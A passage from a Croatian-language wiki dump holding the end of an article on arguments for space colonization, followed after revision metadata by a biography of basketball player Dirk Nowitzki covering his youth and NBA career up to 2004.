ljeto 1980. {{En icon}}</ref> Fizičar [[Paul Davies]] također zagovara ovakav stav i tvrdi da će, u slučaju da planetarna katastrofa zaprijeti opstanku ljudske vrste na Zemlji, samostalna kolonija moći "rekolonizirati" Zemlju i ponovno uspostaviti [[Civilizacija|ljudsku civilizaciju]]. Pisac i novinar [[William E. Burrows]] i biokemičar [[Robert Shapiro]] su predstavili privatni projekt, [[Alijansa za spas civilizacije|Alijansu za spas civilizacije]] (eng. ''Alliance to Rescue Civilization''), čiji cilj je uspostava izvanzemaljske pričuve za ljudsku civilizaciju.<ref>Morgan, Richard, [http://www.nytimes.com/2006/08/01/science/01arc.html?_r=0 "Life After Earth: Imagining Survival Beyond This Terra Firma"], ''New York Times'', 1. august 2006. (preuzeto 29. oktobra 2013). {{En icon}}</ref> [[J. Richard Gott]] je na temelju svog [[kopernikanski princip|kopernikanskog principa]] procijenio da će ljudska vrsta preživjeti još nekih 7,8 miliona godina te da vjerojatno nikad neće kolonizirati druge planete. Međutim, izrazio je nadu da će netko dokazati da nije u pravu, jer "koloniziranje drugih svjetova predstavlja našu najbolju šansu da se na vrijeme zaštitimo i poboljšamo šansu za preživljavanje naše vrste".<ref>Tierney, John, [http://www.nytimes.com/2007/07/17/science/17tier.html?ex=1342324800&en=ccf375ae9f268470&ei=5090&partner=rssuserland&emc=rss "A Survival Imperative for Space Colonization"], ''New York Times'', 17. jula 2007. (preuzeto 29. oktobra 2013). {{En icon}}</ref> === Opstanak biosfere === Neke od ozbiljnijih [[prijetnje opstanku čovječanstva|prijetnja čovječanstvu]] mogle bi također uništiti dio ili čitavu Zemljinu [[Biosfera|biosferu]]. Kao primjer možemo navesti udar veoma velikog [[asteroid]]a. Unatoč brojnim nagađanjima o postojanju života i inteligencije u drugim dijelovima svemira, Zemlja je trenutno jedini planet u univerzumu za koji se sa sigurnošću zna da na njemu postoje život i inteligencija (vidi: [[Fermijev paradoks]], [[Hipoteza o rijetkoj Zemlji]]). No čak i kada bi se izbjegle ove prijetnje, Zemlja će na kraju postati nenastanjiva, zato što [[Sunce]] kako stari postaje sve toplije i svjetlije (u trenutku njegovog nastanka prije 4,5 milijardi godina svjetlina sunca bila je tek 70 posto njegove današnje svjetline). Teoretizira se da za otprilike 800 miliona godina na Zemlji više neće biti moguć opstanak višestaničnog života.<ref>S. Franck, C. Bounama, i W. von Bloh, [http://biogeosciences-discuss.net/2/1665/2005/bgd-2-1665-2005.pdf "Causes and timing of future biosphere extinction"] {{Webarchive|url=https://web.archive.org/web/20191029164900/https://www.biogeosciences-discuss.net/2/1665/2005/bgd-2-1665-2005.pdf |date=2019-10-29 }},'' Biogeosciences Discussions ''2 (6): 1665–1679, Bibcode:2005BGD.....2.1665F (preuzeto 29. oktobra 2013). {{En icon}}</ref> A zatim, nekoliko milijardi godina kasnije, sve svjetlije Sunce će istrijebiti sve oblike života na Zemlji. === Ogromni resursi u svemiru === Količina kako materijalnih tako i energetskih resursa u svemiru je ogromna. Samo [[Sunčev sistem]], prema različitim procjenama, posjeduje dovoljno materijala i energije za opskrbu ljudske populacije koja bi od trenutnog broja ljudi na svijetu bila veća od nekoliko tisuća do milijardu puta.<ref>''The High Frontier'' (1976, 2000) Gerard O'Neill, Apogee Books {{ISBN|1-896522-67-X}} {{En icon}}</ref><ref>John S. Lewis, ''Mining the Sky: Untold Riches from the Asteroids, Comets, and Planets''. (1997) Helix Books/Addison-Wesley. {{ISBN|0-201-32819-4}} version 3 {{En icon}}</ref><ref>Marshall Savage, ''The Millennial Project: Colonizing the Galaxy in Eight Easy Steps''. (1992, 1994) Little, Brown. {{ISBN|0-316-77163-5}} {{En icon}}</ref> Izvan Sunčevog sistema u [[Mliječni put|Mliječnom putu]] postoji i do sedamsto milijardi drugih zvjezdanih sistema. === Ekspanzija s manje negativnih posljedica === Osim Zemljine, nije poznato da postoje druge biosfere ili domorodačko stanovništvo koje bi se moralo izmjestiti zbog širenja čovječanstva. === Pomoć Zemlji === Još jedan argument u koristi kolonizacije svemira je ublažavanje negativnih posljedica [[prenaseljenost]]i. Kada bi bilo omogućeno korištenje svemirskih resursa i kada bi se izgradili samostalni habitati koji podupiru život, Zemlja više ne bi predstavljala granicu rasta čovječanstva. Iako se Zemljini resursi ne povećavaju, čovjek ih uči sve efikasnije iskorištavati, a ponekad ih kroz [[nuklearni inženjering]] iskorištava gotovo u potpunosti.<ref>Doug Messier, [http://www.parabolicarc.com/2010/09/28/perminov-nuclear-engine-key-interplanetary-missions/ "Perminov: Nuclear Engine Key to Interplanetary Missions"] {{Webarchive|url=https://web.archive.org/web/20130609175739/http://www.parabolicarc.com/2010/09/28/perminov-nuclear-engine-key-interplanetary-missions/ |date=2013-06-09 }}, ''Parabolicarc.com'', 28. septebar 2010. (preuzeto 30. oktobra 2013). {{en icon}}</ref> Konkretno, napredak na polju [[anihilacija|anihilacije]] materije mogao bi svemirske letove i kolonizaciju učiniti revolucionarno učinkovitijim i jeftinijim.<ref>[[Eugen Sänger]], ''Raumfahrt'', Econ Verlag, München 1963, str. 376-378. {{de icon}}</ref> Štoviše, kako bude rasla dostupnost izvanzemaljskih resursa, tako će opadati potražnja za zemaljskim.<ref>O'Neill, ''Colonies in Space''; Pournelle, ''A Step Farther Out''. {{en icon}}</ref> === Ostali argumenti === Među ostalim argumentima navodi se urođeni ljudski nagon za istraživanjem i otkrivanjem, koji se smatra centralnim za napredak i uspješan razvoj civilizacija.<ref>John Carter McKnight, [http://www.spacedaily.com/news/oped-03y.html "The Space Settlement Summit"] {{Webarchive|url=https://web.archive.org/web/20130514103953/http://www.spacedaily.com/news/oped-03y.html |date=2013-05-14 }}, [http://www.spacedaily.com ''Space Daily''], 20. marta 2003. (preuzeto 30. oktobra 2013). {{en icon}}</ref> 2001. godine web-stranica koja se bavi vijestima vezanim za svemir ''Space.com'' [[Freeman Dyson|Freemanu Dysonu]], [[J. Richard Gott|J. Richardu Gottu]] i [[Sid Goldstein|Sidu Goldsteinu]] je postavila pitanje zašto bi ljudi trebali živjeti u svemiru. Njihovi odgovori su glasili: * Širenje života i ljepote diljem univerzuma * Preživljavanje naše vrste * Zarada kroz nove oblike [[komercijalizacija svemira|komercijalizacije svemira]], kao što su: [[sateliti pogonjeni solarnom energijom]], [[rudarenje asteroida]] i [[svemirska proizvodnja]] * Spašavanje Zemljinog [[okoliš]]a preseljenjem ljudi i industrije u svemir * [[Svemirski turizam]] * Osigurati dostatnu opskrbu rijetkim materijalima, uključujući one iz vanjskog dijela [[Sunčev sistem|Sunčevog sistema]]: [[prirodni plin]] (s obzirom na očekivanu [[nestašica nafte|nestašicu nafte]] u budućnosti) i [[pitka voda|pitku vodu]] (s obzirom na očekivanu [[nestašica vode|nestašicu vode]]). [[Freeman Dyson]] je sugerirao da će se ljudska vrsta za nekoliko stoljeća preseliti u [[Kajperov pojas]].<ref>[[Freeman Dyson]], ''The Sun, The Genome, and The Internet'', Oxford University Press, 1999. {{ISBN|0-19-513922-4}} {{en icon}}</ref> [[Nick Bostrom]] iz [[utilitarizam|utilitarističke]] perspektive tvrdi da kolonizacija svemira treba da predstavlja primarni cilj čovječanstva, zato što će ona omogućiti veoma velikom broju ljudi da živi veoma dugo (vjerojatno milijarde godina), čime bi se proizvele ogromne količine koristi (ili sreće). On tvrdi da je važnije smanjiti egzistencijalne rizike kako bi se povećala vjerojatnost eventualne kolonizacije nego ubrzati tehnološki razvoj koji bi omogućio skoriju kolonizaciju svemira.<ref>Nick Bostrom, [http://www.nickbostrom.com/astronomical/waste.html ''Astronomical Waste: The Opportunity Cost of Delayed Technological Development''] (preuzeto 30. oktobra 2013). Dostupno i [http://www.nickbostrom.com/astronomical/waste.pdf u PDF formatu]. {{en icon}}</ref> U svom radu on pretpostavlja da će tako stvoreni novi ljudski životi imati pozitivnu etičku vrijednost unatoč problemu [[patnja|patnje]], ili će taj problem [[Abolicionizam (bioetika)|riješiti neka buduća tehnologija]]. == Ciljevi == ==Tipovi svemirskih kolonija== Postoje dva glavna tipa svemirskih kolonija: * Površinske – izgrađene na površini planeta, mjeseca itd. * Svemirski habitati – slobodno lebdeće stanice koje bi orbitirale oko nekog planeta, mjeseca itd. ili u nezavisnoj orbiti oko zvijezde. Među zagovornicima svemirske kolonizacije vode se značajne rasprave o tome koji tip (i s njime povezane lokacije) predstavlja bolji izbor za širenje čovječanstva u svemir. === Svemirski habitati === == Način == ==Lokacija== == Financiranje == ==Zemaljske analogije svemirskih kolonija== == Historija == ==Primjedbe== == Uključene organizacije == ==U fikciji== == Reference == {{Reflist}} == Literatura == === Na engleskom === * Arthur C. Clarke, ''The Coming of the Space Age: Famous Accounts of Man's Probing of the Universe'' (1967, 1970). * Harry L. Shipman, ''Humans in Space: 21st Century Frontiers'' (1989). {{ISBN|978-0-306-43171-5}} * Carl Sagan, ''Pale Blue Dot: A Vision of the Human Future in Space'' (1994, 1997). {{ISBN|978-0-679-43841-0}} * Robert Zubrin i Richard Wagner,'' The Case for Mars: The Plan to Settle the Red Planet and Why We Must'' (1996). {{ISBN|978-0-684-82757-5}} [[Kategorija:Svemir]] 8q0wnd87bu1rxjf6mhczsqvcb0u32sz 0 249337 42602546 42580702 2026-05-27T13:32:19Z Edgar Allan Poe 29250 /* Vanjske veze */ 42602546 wikitext text/x-wiki {{Košarkaš |ime = Dirk Nowitzki |slika = DirkNowitzki.jpg |slika_širina = |slika_opis = |država = {{flagcountry|NJE}} |nadimak = ''The Blonde Bomber'' <br /> ''The Diggler'' <br /> ''Dirkules'' <br /> ''Dirty'' <br /> ''Disco'' |datum_rođenja = [[19. 6.]] [[1978.]] |mjesto_rođenja = [[Würzburg]], [[Njemačka]] |datum_smrti = |mjesto_smrti = |pozicija = [[krilni centar]] |visina = 2,13 |težina = 111 |sveucilište = |draft = 1. krug (9. ukupno), [[1998.]] <br /> [[Milwaukee Bucks]] |karijera = 1994.- |liga = [[NBA]] |klub = [[Dallas Mavericks]] |broj = 41 |bivši_klubovi = [[DJK Würzburg]] (1994.–1998.) |nagrade = 1x [[NBA]] prvak 2011. <br /> 11x [[NBA All-Star]] (2002.-2012.) <br /> 4x [[All-NBA momčad|All-NBA prva petorka]] (2005.-2007., 2009.) <br /> 5x [[All-NBA momčad|All-NBA druga petorka]] (2002.-2003., 2008., 2010., 2011.) <br /> 2x [[All-NBA momčad|All-NBA treća petorka]] (2001., 2004.) <br /> 1x [[NBA Najkorisniji igrač|Najkorisniji igrač]] 2007. <br /> 1x [[Najkorisniji igrač NBA finala]] 2011. <br /> 6x Dobitnik Euroscar nagrade (2002.-2006., 2011.) <br /> 1x Mister Europa igrač godine 2005. <br /> 2x FIBA Europe igrač godine 2005., 2011. <br /> Najkorisniji igrač [[Svjetsko prvenstvo u košarci - SAD 2002.|Svjetskog prvenstva]] 2002. <br /> Najkorisniji igrač [[Europsko prvenstvo u košarci - Srbija i Crna Gora 2005.|Europskog prvenstva]] 2005. <br /> Pobjednik [[NBA Natjecanje u tricama|natjecanja u tricama]] 2006. |medalje = {{MedaljeNatjecanje|Svjetska prvenstva}} {{Medalje bronca | [[Svjetsko prvenstvo u košarci - SAD 2002.|SAD 2002.]]|{{KošRep|NJE}}}} {{MedaljeNatjecanje|Europska prvenstva}} {{Medalje srebro | [[Europsko prvenstvo u košarci - Srbija i Crna Gora 2005.|Srbija i Crna Gora 2005.]]|{{KošRep|NJE}}}} }} '''Dirk Werner Nowitzki''' ([[Würzburg]], [[Njemačka]], [[19. 6.]] [[1978.]]) [[Njemačka|njemački]] je profesionalni [[košarka]]š. Igra na poziciji [[Krilni centar|krilnog centra]], a trenutačno je član [[NBA]] momčadi [[Dallas Mavericks]]a. Izabran je u 1. krugu (9. ukupno) [[NBA draft]]a [[1998.]] od strane [[Milwaukee Bucks]]a. Nowitzki je deseterostruki [[NBA All-Star]] te je jedanaest puta biran u [[All-NBA momčad]] i jednom je izabran za [[NBA Najkorisniji igrač|nakorisnijeg igrača lige]]. Nakon dolaska u Dallas podigao je svoju igru na višu razinu. [[2007.]] postao je prvi [[Europa|Europljanin]] s nagradom za najkorisnijeg igrača [[NBA]] lige te je u sezoni 2005./06. odveo Maverickse do njihovog prvog [[NBA finala]] u povijesti franšize gdje su izgubili u šest utakmica od [[Miami Heat]]a. S [[Njemačka košarkaška reprezentacija|njemačkom reprezentacijom]] ostvario je brojne uspjehe. Predvodio ih je do bronce na [[Svjetsko prvenstvo u košarci - SAD 2002.|Svjetskom prvenstvu]] [[2002.]] u [[Indianapolis]]u, gdje je izabran za najkorisnijeg igrača natjecanja i srebra na [[Europsko prvenstvo u košarci - Srbija i Crna Gora 2005.|Europskom prvenstvu]] [[2005.]] u [[Srbija i Crna Gora|Srbiji i Crnoj Gori]], gdje je također izabran za najkorisnijeg igrača natjecanja. == Rani život == Rodio se u [[Würzburg]]u, malom gradiću u [[Njemačka|Njemačkoj]] i dolazi iz atletske obitelji. Majka Helga bavila se [[Košarka|košarkom]], a otac Jörg-Werner bavio se [[rukomet]]om i nastupao za reprezentaciju na svim većim natjecanjima. Starija sestra Silke također se bavila košarkom, a danas radi za [[NBA]] u odjelu za međunarodne prijenose. Dirk je još kao dječak bio većeg rasta i bavio se rukometom i [[tenis]]om, ali su mu se druga djeca rugala zbog visine i govorila mu da je "čudovište", pa se mladi Nowitzki počeo baviti košarkom koja će mu kasnije preokrenuti život. Nakon što se pridružio košarkaškom klubu [[DJK Würzburg]], privukao je pozornost bivšeg košarkaškog reprezentativca Holgera Geschwindnera. On je odmah opazio Dirkov talent te se ponudio da ga individualno trenira dva do tri puta tjedno. Nakon što su Dirkovi roditelji pristali, Geschwindner ga je stavio pod zahtjevan program. Dirk je više vježbao svoj šut i preciznost, a manje taktičke pozicije i ostalo. Geschwindner ga je čak poticao da svira neki instrument i čita knjige kako bi što više izgradio svoju osobnost. Nakon godinu dana, Geschwindner je bio zadivljen napredkom kojeg je Nowitzki ostvario te mu rekao:„ Moraš odlučiti želiš li igrati na svjetskoj razini protiv najboljih ili ostati lokalni junak u Njemačkoj. Ako želiš biti lokalni junak prestajemo s treninzima jer si se već ovdje dokazao, ali ako želiš biti najbolji i igrati protiv najboljih onda moramo nastaviti s dnevnim treninzima.“ Nakon dva dana razmišljanja Nowitzki se odlučio na ovu drugu varijantu i postati jedan od najboljih igrača. Geschwindner ga je pustio da trenira svaki dan u tjednu s igračima DJK Würzburg. [[1994.]] šesnaestogodišnji Nowitzki izborio je mjesto u momčadi DJK Würzburga. == DJK Würzburg (od 1994. do 1998.) == U vrijeme kad im se Nowitzki pridružio, DJK Würzburg se natjecao u 2. [[Bundesliga|Bundesligi]]. Igrao je na poziciji [[nisko krilo|niskog krila]] zbog toga što je trener momčadi htio iskoristiti njegov šuterski potencijal. U sezoni 1994./95. Würzburg je završio na razočaravajućem šestom mjestu, a Nowitzki je često ulazio s klupe i mučio se s lošim ocjenama u školi. To ga je prisililo da počne učiti i manje vremena provodi igrajući košarku. Iduće sezone Nowitzki je postao startni član momčadi i zajedno s [[Finska|Fincem]] Marttiem Kuismom predvodio DJK Würzburg do drugog mjesta. U odlučujućoj utakmici za ulazak u prvu ligu protiv BG Ludwigsburg, izgubili su s rezultatom 86:62, a Nowitzki je imao ispod prosječnu večer u kojoj je postigao samo 8 poena. U sezoni 1996./97. momčad DJK Würzburga napustio je njihov najbolji strijelac Martti Kuisma. Nakon njegovog odlaska Nowitzki je prosječno postizao 19.4 poena i ponovno odveo momčad do drugog mjesta u diviziji, ali bez većeg uspjeha u daljnjem natjecanju. Iduće sezone Nowitzki je morao odslužiti vojni rok koji je trajao od [[1. 9.]] [[1997.]] do [[30. 6.]] [[1998.]] Nakon povratka, prevodio je DJK Würzburg do prvog mjesta s najboljim prosjekom lige od 28.2 poena. U odlučujućoj utakmici doigravanja protiv Freiburga, Nowitzki je odveo svoju momčad do pobjede s 26 poena, a utakmica je završila rezultatom 95:88. Te sezone osvojio je nagradu za najboljeg njemačkog igrača godine po izboru magazina "German Basket". [[1996.]] godine uprava kluba [[FC Barcelona Bàsquet]] zainteresirala se za Nowitzkog i htjela otkupiti njegov ugovor međutim Nowitzki ih je odbio i odlučio ostati u Njemčakoj. Godinu kasnije sudjelovao je na "Hoop Heroes Touru", sponzorirano od strane [[Nike, Inc.|Nikea]], i za 30 minuta nadigrao [[NBA]] zvijezde poput [[Scottie Pippen|Scottiea Pippena]] i [[Charles Barkley|Charlesa Barkleya]] preko kojeg je čak i zakucao. Poslije te utakmice Barkley je izjavio:„ Mali je genij. Ako želi zaigrati u NBA ligi neka me slobodno nazove.“ [[29. 3.]] [[1998.]] Nowitzki je sudjelovao na "Nike Hoop Summitu." To je utakmica u kojoj se sučeljavaju talenti iz [[SAD]]-a i međunarodni košarkaški talenti. U toj utakmici Nowitzki je ubacio 33 poena i tome još dodao 14 skokova i 3 ukradene lopte. Svi su bili zadivljeni Dirkovom brzinom, sposobnošću vođenja lopte, driblinga i sjajnog šuta izvana. Od tada je započela velika borba europskih, ali i NBA klubova za mladog Dirka. == NBA karijera == === Početci (od 1998. do 1999.) === [[Datoteka:Dirk nowitzki 41.jpg|mini|lijevo|170px|Nakon razočaravajuće prve sezone, Nowitzki je razmišljao o povratku u Njemačku]] Nakon napuštanja DJK Würzburga, Nowitzki je okušao sreću u [[NBA]] ligi. Izabran je kao deveti izbor [[NBA draft]]a [[1998.]] od strane [[Milwaukee Bucks]]a. Ubrzo su [[Dallas Mavericks|Mavericksi]] mijenjali Roberta Taylora u Buckse za Nowitzkog i Pata Garritya, te su poslije od strane [[Phoenix Suns|Sunsa]] dobili i [[Steve Nash|Stevea Nasha]]. Tim dolaskom u NBA ligu, Nowitzki je postao tek četvrti njemački igrač koji se okušao u najjačoj košarkaškoj ligi i prvi igrač DJK Würzburga koji je izabran na NBA draftu. Nowitzki se pridružio momčadi koja je u svom sastavu imala sljedeće igrače: vrhunskog šutera [[Michael Finley|Michaela Finleya]], 229&nbsp;cm visokog [[Centar (košarka)|centra]] [[Shawn Bradley|Shawna Bradleya]] i sjajnog strijelca Cedrica Ceballosa. U sezoni 1998./99., svojoj ''rookie'' sezoni, Nowitzki je odigrao još 13 utakmica za DJK Würzburg zbog dugog pregovaranja oko štrajka koji je kasnije rezultirao skraćenom sezonom od samo 50 regularnih utakmica. Kada je sezona konačno započela Nowitzki se dugo prilagođavao igri Mavericksa. Igrao je na poziciji [[krilni centar|krilnog centra]] i prosječno postizao samo 8.2 poena i 3.4 skokova za 20.4 minuta na terenu. Gledajući na odigranu sezonu izjavio je:„ Bio sam jako frustriran, te sam čak razmišljao o povratku u [[Njemačka|Njemačku]].“ Te sezone Mavericksi su pobijedili u samo 19 od 50 utakmica te su ponovno propustili doigravanje. === Dolazak Marka Cubana i ''"Big Three"'' (od 1999. do 2004.) === U sezoni 1999./00. Don Nelson je odlučio Nowitzkog staviti na poziciju [[krilni centar|krilnog centra]] i iskoristiti njegovu vještinu dodavanja lopti. Uskoro se dogodio jedan od većih događaja ne samo u [[Dallas]]u nego i u [[NBA]] ligi. Tadašnji vlasnik Ross Perot, Jr. nije imao namjeru ulagati u klub i igrače stoga je [[4. 1.]] [[2000.]] godine prodao Dallas Maverickse američkom milijarderu [[Mark Cuban|Marku Cubanu]] za 280 milijuna dolara. Cuban je odmah uložio nešto novca u Maverickse kako bi osvježio franšizu. Momčadi je kupio [[Boeing 757]] za putovanja vrijedan 47 milijuna dolara i povećao je prihode franšize na više od 100 milijuna dolara. Nakon nekog vremena i Nowitzki se oglasio i rekao što misli o novom vlasniku:„ Stvorio je sjajno okruženje u klubu, a mi samo moramo nastaviti pobjeđivati.“ Nakon Nelsonovog prebacivanja na krilnog centra i dolaska novog vlasnika, Nowitzki je konačno počeo prikazivati prave igre i poboljšavati statistike. U svojoj drugoj sezoni prosječno je postizao 17.5 poena, 6.5 skokova i 2.5 asistencija za 35.8 minuta na terenu. Devet puta ostvario je double-double učinak i čak dva puta postigao je 32 poena. Na kraju sezone bio je drugi u poretku u za [[NBA Nagrada za igrača koji je najviše napredovao|igrača koji je najviše napredovao]]. Sudjelovao je na Rookie Challengeu i postigao 17 poena, 6 skokova i 4 asistencije te je sudjelovao i u [[NBA Natjecanje u tricama|natjecanju u tricama]] gdje je u prvom krugu postigao 15 poena, a u finalu izgubio od iskusnog [[Jeff Hornacek|Jeffa Hornaceka]]. Unatoč tome što je Nowitzki unaprijedio i igru i statistike Mavericksi nisu uspjeli izboriti doigravanje i sezonu su završili s omjerom 40-42. [[Datoteka:NowitzkiWizards1.jpg|mini|desno|220px|Nowitzki u šutu preko ruke Nicka Younga]] Iduće sezone Nowitzki je unaprijedio svoje brojke i prosječno postizao 21.8 poena, 9.2 skokova i 2.1 asistencije. Igrajući na poziciji krilnog centra, postao je drugi igrač nakon [[Robert Horry|Roberta Horrya]] koji je u istoj sezoni imao 100+ trica i 100+ blokada. Zajedno s kapetanom momčadi Michaelom Finleyom startao je u sve 82 utakmice i postigao minimalno 30 poena u deset utakmica sezone. Izabran je u [[All-NBA momčad|All-NBA treću petorku]] te postao prvi Maverick koji je izabran u All-NBA momčad. Nakon što je Nash postao startni [[playmaker]] momčadi, a Finley postizao najviše poena u dotadašnjoj karijeri te s mladim i talentiranim Nowitzkim Mavericksi su oformili takozvani "Big Three" ([[Hrvatski jezik|hrv.]] "''Veliki trojac''"). Nakon što su sezonu završili s omjerom 53-29, Mavericksi su ušli u doigravanje prvi put nakon [[1990.]] godine. Kao peti na Zapadu sučelili su se s četvrtoplasiranim [[Utah Jazz]]erima predvođeni sjajnim playmakerom [[John Stockton|Johnom Stocktonom]] i snažnim krilnim centrom [[Karl Malone|Karlom Maloneom]]. Nakon dva izgubljena susreta, u trećoj i četvrtoj utakmici Nowitzki je postigao 33 poena i pomogao Mavericksima izjednačiti seriju na 2-2. U petoj utakmici Mavericksi su se mučili i cijelu utakmicu zaostajali sve do 9.8 sekundi prije kraja kada je Calvin Booth postigao koš i osigurao svojoj momčadi vodstvo od 1 poen razlike. U idućem napadu ni Karl Malone ni Byron Russel nisu uspjeli pogoditi koš i Mavericksi su pobijedili rezultatom 84:83 i prošli u polufinale Zapada. U polufinalu Zapada susreli su se s rivalima [[San Antonio Spurs]]ima. Prve tri utakmice pripale su Spursima, a u četvrtoj pobjedu odnose Mavericksi. U petoj utakmici pobjeđuju Spursi unatoč sjajnoj igri Nowitzkog koji je utakmicu završio s 42 poena i 18 skokova. Na početku sezone 2001./02. Nowitzki je potpisao novi šestogodišnji ugovor vrijedan 90 milijuna dolara te postao drugi najplaćeniji Nijemac iza [[Michael Schumacher|Michaela Schumachera]]. Nastavio je napredovati i prosječno je postizao 23.4 poena, 9.9 skokova i 2.4 asistencije. Izabran je u [[All-NBA momčad|All-NBA drugu petorku]] i na svoju prvu od osam [[NBA All-Star vikend|All-Star utakmica]]. Ostvario je 13 utakmica s minimalno 30 poena te zauzeo treće u tom učinku iza Shaquillea O'Neala i [[Tim Duncan|Tima Duncana]]. Pojačani [[Nick Van Exel|Nickom Van Exelom]], sjajnim [[šesti igrač|šestim igračem]], "Big Three" je dobio željenu potporu i uvjerljivo završio sezonu s omjerom 57-25. U doigravanju lagano su prošli [[Kevin Garnett|Garnettove]] [[Minnesota Timberwolves|Timberwolvese]] rezultatom 3-0, a Nowitzki je nadvisio Garnetta s prosjekom od 33.3 poena nasuprot 24 poena tijekom serije. U drugom krugu čekali su ih [[Sacramento Kings]]i. Nakon što je serija bila izjednačena na 1-1, trener Kingsa [[Rick Adelman]] promijenio je taktiku u obrani. Dok je u prve dvije utakmice [[Chris Webber]] čuvao Nowitzkog jedan na jedan, sada je Adelman u obranu uključio i [[Hedo Turkoglu|Hedu Turkogla]] koji će svojom brzinom biti odmah uz Nowitzkog, a pri pokušaju proboja Webber će pomagati u udvajanju. U trećoj utakmici u Dallasu, Mavericksi su izgubili 125:119, a Nowitzki je postigao samo 19 poena. Poslije utakmice izjavio je:„ Jednostavno nisam mogao proći Turkogla, a i ako sam uspio bio bih udvojen i to bi dovelo do puno pogrešaka.“ Četvrta utakmica također je bila razočaravajuća za Maverickse. Unatoč vodstvu od 15 poena razlike i izbacivanjem [[Vlade Divac|Divca]] i Webbera iz ritma zbog problema s osobnim pogreškama, Mavericksi su ipak izgubili rezultatom 115:113. U petoj utakmici Mavericksi se nisu mogli nositi s energičnim Kingsima te su izgubili utakmicu rezultatom 114:101 i ponovno ispali iz doigravanja. Na kraju sezone Nowitzki je ipak dobio priznanje za najboljeg europskog igrača godine po izboru magazina "Gazzetta dello Sport." [[Datoteka:NowitzkiWizards3.jpg|mini|lijevo|220px|Kad je igrao na poziciji centra, Nowitzki je morao povećati tjelesnu masu kako bi bio što dominantniji u reketu]] Prije sezone 2002./03. Don Nelson i Mark Cuban htjeli su ojačati igru u obrani. Da bi u tome uspjeli potpisali su sjajnog blokera [[Raef LaFrentz|Raefa LaFrentza]] koji se pridružio 229&nbsp;cm visokom Shawnu Bradleyu. Nakon što su pobijedili u prvih 11 utakmica, Nowitzki, Finley i Nash bili su u konkurenciji za igrače mjeseca Zapadne konferencije. U toj sezoni Nowitzki je ponovno podigao svoje statistike i prosječno postizao 25.1 poena, 9.9 skokova i 3 asistencije. Ostvario je 41 double-double učinak i s prosjekom od 25.1 poena (najviši prosjek bijelog igrača od NBA sezone 1992./93. i [[Chris Mullin|Chrisa Mullina]]), postao prvi Europljanin koji je probio granicu od 2000 poena u jednoj sezoni. Izabran je u All-NBA drugu petorku i ostvario je novi nastup na All-Star uakmici. Odveo je Maverickse do trećeg mjesta na Zapadu i omjera 60-22. U prvom krugu doigravanja igrali su protiv [[Portland Trail Blazers]]a. Mavericksi su pobijedili u prve tri utakmice i činilo se da će lagano proći u drugi krug doigravanja, međutim izgubili su ritam i Trail Blazersi odnose pobjedu u iduće tri utakmice i izjednačuju seriju na 3-3. U sedmoj i odlučujućoj utakmici, Mavericksi su se dugo mučili s Trail Blazersima koji su uvijek bili na zaostatku od poen ili dva, ali minutu i pol prije kraja utakmice, Nowitzki pogađa ključnu tricu i donosi važnu pobjedu Mavericksima. Poslije utakmice izjavio je:„ Ovo je bio najvažniji koš u mojoj karijeri. Nisam bio spreman tako rano otići na odmor.“ U drugom krugu susreli su se sa starim rivalima Sacramento Kingsima koji su ih prošle sezone izbacili iz doigravanja. Nakon što su izgubili prvu utakmicu rezultatom 124:113, Nowitzki (25 poena) i veteran Nick Van Exel (36 poena) odveli su Maverickse do spektakularne pobjede u drugoj utakmici. Utakmica je završila rezultatom 132:110, a Mavericksi su postigli nevjerojatnih 83 poena u samo jednom poluvremenu. U trećoj utakmici Dallas odnosi pobjedu u dvostrukom produžetku rezultatom 141:137. Četvrta utakmica otišla je u korist Sacramento Kingsa, a Nowitzki je postigao samo 11 poena, uključujući isključenje iz igre zbog neprimjerenog ponašanja. Nakon pete i šeste utakmice serija je bila izjednačena na 3-3, a odluka o prolasku dalje donosila se u sedmoj utakmici. U sedmoj utakmici Mavericksi su pobijedili rezultatom 112:99, a Nowitzki je postigao 30 poena i 19 skokova te time svoju momčad odveo u finale Zapadne konferencije. U finalu Zapada čekali su ih stari rivali San Antonio Spursi. U prvoj utakmici Nowitzki postiže 38 poena i odvodi svoju momčad do pobjede 113:110. U drugoj utakmici Duncan je vrlo rano doveo Nowitzkog u probleme s osobnim pogreškama, što je Spursima omogućilo laganu pobjedu rezultatom 132:110. Nakon sudara s [[Manu Ginobili|Ginobilijem]] i ozljede koljena u trećoj utakmici Nowitzki nije bio u mogućnosti igrati ostale utakmice serije. Iako bez Nowitzkog, Mavericksi su držali korak za Spursima koji su vodili u seriji s 3-2. Međutim Spursi su ipak odnijeli pobjedu u šestoj utakmici zahvaljujući tricom [[Steve Kerr|Stevea Kerra]] nekoliko sekundi prije kraja utakmice. Na kraju sezone Nowitzki je dobio priznanje za najboljeg Europskog igrača godine. U sezoni 2003./04. Mark Cuban i trener Don Nelson odlučili su momčadi pridružiti nekoliko vrsnih napadačkih igrača. Prvi na listi želja bio je tadašnji igrač [[Golden State Warriors]]a [[Antawn Jamison]]. Da bi napad što bolje funkcionirao, uprva kluba se odlučila na zamjenu Raefa LaFrentza u [[Boston Celtics|Celticse]] za iskusno [[nisko krilo]] [[Antoine Walker|Antoinea Walkera]]. Novinari su teško kritizirali upravu Mavericksa zbog zamjene startnog centra Raefa LaFrentza, zbog toga što je tadašnji rezervni centar Bradley bio na zalasku karijere i sve je lošije podnosio napore NBA lige. Don Nelson nemoćan dovesti novog centra, odlučuju se na tu poziciju postaviti Nowitzkog dok na mjesto krilnog centra postavlja Antoinea Walkera, a Antawn Jamison morao se zadovoljiti s ulogom šestog igrača. Da bi Nowitzki bio dominantan kao centar morao je povećati tjelesnu masu. Preko ljeta dobio je 9.1 kilogram, a u početku sezone prvi put statistike su mu oslabile. Zbog poboljšanja igre u obrani statistike su mu pale na 21.8 poena, 8.7 skokova i 2.7 asistencija. Izabran je u All-NBA treću petorku i ostvario je još jedan nastup na All-Star utakmici. Mavericksi su sezonu završili s omjerom 52-30 i zauzeli peto mjesto u Zapadnoj konferenciji. U prvom krugu doigravanja ponovno su se susreli sa Sacramento Kingsima koji su ih lako izbacili u pet utakmica. === Vođa Mavericksa (2004.-''danas'') === [[Datoteka:Dirk nowitzki cropped 2.jpg|mini|desno|190px|Nowitzki s brojem 41, glavni je vođa Dallasove franšiže]] Prije početka sezone 2004./05. momčad [[Dallas Mavericks|Mavericksa]] doživjela je nove promjene. Iz Golden State Warriorsa doveden je sjajni obrambeni [[Centar (košarka)|centar]] [[Erick Dampier]], a dugogodišnji [[playmaker]] i član "Big Threea" [[Steve Nash]] napustio je Dallas i sreću odlučio potražiti u [[Phoenix Suns]]ima. Tijekom sezone [[Don Nelson]] odstupio je s mjesta glavnog trenera, a tu 